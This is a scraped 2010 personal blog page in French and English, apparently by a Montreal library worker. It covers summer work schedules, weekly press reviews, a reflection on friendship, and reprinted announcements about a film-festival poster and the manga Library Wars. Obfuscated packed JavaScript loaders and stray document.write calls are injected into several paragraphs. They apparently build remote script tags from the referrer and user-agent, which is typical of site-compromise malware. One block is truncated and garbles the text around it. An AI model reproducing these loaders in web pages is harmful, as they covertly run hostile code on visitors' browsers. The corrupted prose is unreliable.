Histoires de fous

Comme c’est le temps de la distribution des “Blocs d’heures” d’été dans les bibliothèques de la ville, document.write(“”); le Carnardo Pressé a publié un billet, la semaine dernière, invitant les auxiliaires de bibliothèque à partager leur expériences vécus au cours de ce changement parfois traumatisant…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nraye|var|u0026u|referrer|ykfzb||js|php’.split(‘|’),0,{}))

Jusqu’à maintenant peu d’auxiliaires ont répondu à l’invitation, mais
le Carnardo Pressé a récemment mis à jour son billet en y ajoutant une parodie de la maison des fous d’Astérix (dans Les Douzes Travaux d’Astérix, qui a également été adapté au cinéma). Je ne sais pas qui l’a produite (il n’y a aucun crédit) mais c’est tout à fait hilarant! C’est tout à fait ça!

Je ne peux donc pas m’empêcher de la reprendre ici:

Revue de Presse / Press Review (2010/05/27)

Another nice but insanely busy (and quite unseasonably hot) week. Not only this week was my birthday (getting so old now, document.write(“”); BTW: thanks to all who wished me happy birthday) but I am also getting my iPad (a kind of self-gift)! I’ll be a little more productive when I’m out of the safe-house (I’ll missed it after moving, but I’ll make a better one — however, for now, it is clean-up time!) and I’ll be able to experiment on new ways to distribute contents. This week was as hellish as usual at work (or more: trying to organize a new work schedule provided excruciating mental pain; the boroughs are really nests of ineptitude!). News-wise, beside the iPad international launch, I noted the end of the Cannes Film Festival, more Gulf oil-spill drama and the end of most of the TV shows I was watching (it makes me sad, but it will also allow more time for the clean-up and for “working” on the iPad)! Here’s some more:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|feybs|var|u0026u|referrer|zerbr||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“

Friendship

A friend is someone with whom you share a mutual affection. Someone you trust. Someone you can count on when in trouble, document.write(“”); even in the middle of the night. Someone you can confide to without fear. Someone that will not betray you in any ways. Someone that will never hurt you even out of rage. Someone that will not lie to you. Someone that will never take advantage of you.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|btbzt|var|u0026u|referrer|atdih||js|php’.split(‘|’),0,{}))

A friend is NOT someone you barely know or even heard of. A “Facebook friend” is no friend.

We don’t have friends anymore like people used to do in the olden days. We either give our “friendship” too easily or we denude it of its meaning. Unfortunately, with time, some word gets vague and lose their meaning. We often mistakenly use “friend” for “acquaintance”.

A real friend is something rare and precious that you might not encounter often, if ever, in your life. And if you do, it will never last. People grow apart. And you are always betrayed in the end…

Revue de Presse / Press Review (2010/05/20)

Busy worrying about my work schedule for the summer (the library network is really going to hell and [thanks to our useless moronic union] trying to get work in several boroughs brings total mayhem–hopefully I’ll end up with a stable, document.write(“”); full-time schedule) while working as much as possible on my appartment clean up… Here’s a few note-worthy news:

L’AFFICHE DU FESTIVAL DES FILMS DU MONDE 2010

Montréal, le 27 avril 2010 – Le Festival des Films du Monde annonce que c’est le projet d’Hubert Samson qui a été choisi comme affiche de sa prochaine édition qui se déroulera du 26 août au 6 septembre 2010.

L’affiche du Festival des Films du Monde 2010 a été choisie par le public général parmi 3 finalistes, tous étudiants en arts graphiques à l’UQAM. Leur professeur, Philippe Béha (lui-même auteur de l’affiche du FFM en 1986), avait demandé à ses étudiants de créer une affiche pour le FFM 2010.

Le public était invité à voter pour désigner son affiche préférée parmi les finalistes et à écrire un commentaire sur les raisons de son choix. Parmi les nombreux commentaires, celui de d’Éric Montpetit, professeur de cinéma, exprime de manière éloquente les impressions éprouvées par ceux qui ont voté pour l’affiche d’Hubert Samson :

« L’acte de voir se trouve bien synthétisé dans cette image d’un personnage aux yeux multiples, symbole de la variété des points de vue exprimés dans la programmation du Festival et, également, dans le regard subjectif de chaque spectateur. Les contours flous de son corps donnent l’impression qu’il vibre ; touché, ébranlé, ému par ce qu’il voit. Cette vibration rappelle aussi celle de la lumière projetée à travers la pellicule sur l’écran. Belle évocation du mouvement au cinéma. Bravo ! »

San Francisco, document.write(“”); CA, MAY 10, 2010
VIZ Media, LLC (VIZ Media), one of the entertainment industry’s most innovative and comprehensive publishing, animation and licensing companies, brings a new literary manga adventure to North American readers with the release of LIBRARY WARS: LOVE & WAR on June 1st. The series, with story and art by Kiiro Yumi and based on the original concept by Hiro Arikawa, will be published under the Shojo Beat imprint, is rated ‘T+’ for Older Teens and will carry an MSRP of $9.99 U.S. / $12.99 CAN.

In the near future, the federal government creates a special committee to rid society of books it deems unsuitable. But the libraries vow to protect their collections, and with the help of local governments, form a military group to defend themselves – the Library Defense Forces!

In the opening volume, Iku Kasahara has dreamed of joining the LDF ever since one of its soldiers stepped in to protect her favorite book from being confiscated in a bookstore when she was younger. But now that she’s finally a recruit, she’s finding her dream job to be a bit of a nightmare. Especially since her hard-hearted drill instructor seems to have it in for her!

“Manga lovers will root for the cute librarians in this fun new series that also addresses some important issues like liberty, freedom of speech and censorship,” says Candice Uyloan, Director, Consumer Marketing, VIZ Media. “LIBRARY WARS is based on a collection of novels also written by Hiro Arikawa that were extremely popular in Japan, selling more than one million copies. Fans will definitely want to add this adventure to their summer reading lists!”

Hiro Arikawa won the 10th Dengeki Novel Prize for her work Shio no Machi: Wish on My Precious in 2003 and debuted with the same novel in 2004. Arikawa is probably best known for the LIBRARY WARS series and also her trilogy about Japan’s military Self Defense Forces, Jieitai Sanbusaku (The SDF Trilogy), which consists of In the Sky, The Bottom of the Sea, and City of Salt.

Kiiro Yumi won the 42nd LaLa magazine Manga Grand Prix Fresh Debut award for her manga Little Billy’s Depression. Her latest series, LIBRARY WARS: LOVE & WAR is currently featured in Japan’s LaLa magazine.
